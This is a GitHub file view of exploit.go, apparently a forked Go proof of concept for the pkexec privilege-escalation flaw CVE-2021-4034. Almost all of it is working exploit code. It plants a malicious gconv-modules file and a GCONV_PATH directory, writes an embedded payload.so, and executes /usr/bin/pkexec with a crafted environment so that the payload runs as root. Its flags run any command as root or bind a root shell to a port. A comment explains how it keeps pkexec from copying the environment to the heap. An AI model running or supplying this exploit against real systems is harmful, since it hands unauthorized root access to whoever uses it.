forked from dzonerzy/poc-cve-2021-4034
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathexploit.go
78 lines (71 loc) · 2.77 KB
/
exploit.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
package main
import (
_ "embed"
"flag"
"fmt"
"io/ioutil"
"log"
"os"
"syscall"
)
const (
fake_charset = "payload"
gconv_dir = "gconv"
)
var (
gconv_content = "module PAYLOAD// INTERNAL ../payload 2\nmodule INTERNAL PAYLOAD// ../payload 2"
cmd_execute = flag.String("c", "", "Command to execute , command will be executed via /bin/sh -c")
notty = flag.Bool("notty", false, "If set instead of executing the command spawn a root shell and bind it to a port")
port = flag.Int("port", 4444, "Default port to bind to if notty is set")
)
//go:embed payload/payload.so
var payload []byte
func wirte_gconv_module() (err error) {
if err := os.Mkdir(gconv_dir, 0o0755); err != nil {
return err
}
if err := ioutil.WriteFile(fmt.Sprintf("%s/gconv-modules", gconv_dir), []byte(gconv_content), 0o0755); err != nil {
log.Fatal(err)
}
return nil
}
func main() {
flag.Parse()
target := "/usr/bin/pkexec"
if err := wirte_gconv_module(); err != nil {
log.Fatalf("Unable to write gconv module: %v", err)
}
if err := os.Mkdir("GCONV_PATH=.", 0o0755); err != nil {
log.Fatalf("Unable to make tmp dir: %v", err)
}
if err := ioutil.WriteFile("payload.so", payload, 0o0755); err != nil {
log.Fatalf("Unable to write payload: %v", err)
}
if err := ioutil.WriteFile(fmt.Sprintf("GCONV_PATH=./%s", gconv_dir), []byte("\x00"), 0o0755); err != nil {
log.Fatalf("Unable to write tmp file: %v", err)
}
var usenotty = 0
if *notty {
usenotty = 1
}
if err := syscall.Exec(target, nil, []string{
gconv_dir,
"PATH=GCONV_PATH=.",
"SHELL=/fake/shell",
"GIO_USE_VFS=AAAAAAAAAAAAAAAAAAAAAA", // prevent pkexec from calling setenv and clone the enviroment on the heap *1
fmt.Sprintf("CHARSET=%s", fake_charset),
fmt.Sprintf("CMDTOEXECUTE=%s", *cmd_execute),
fmt.Sprintf("NOTTY=%d", usenotty),
fmt.Sprintf("NOTTY_PORT=%d", *port),
}); err != nil {
log.Fatalf("Unable to execute pkexec: %v", err)
}
/*
*1 ) pkexec will set a variable called GIO_USE_VFS using setenv wwith the parameter replace = 1 if the variable does not exist
libc will call __add_to_environ call to environ at line 149 https://code.woboq.org/userspace/glibc/stdlib/setenv.c.html#149 check if
the variable exist on the environ and if its value is not NULL , if those conditions does not match it will create a new environment at line 154
https://code.woboq.org/userspace/glibc/stdlib/setenv.c.html#154 , thus making the exploitation not possible since argv[n] and environ[0] will point
respectively on the stack and on the heap, adding the variable GIO_USE_VFS before calling pkexe with a value "longer" than the value pkexec set
(local) will prevent the creation of a new environment.
*/
}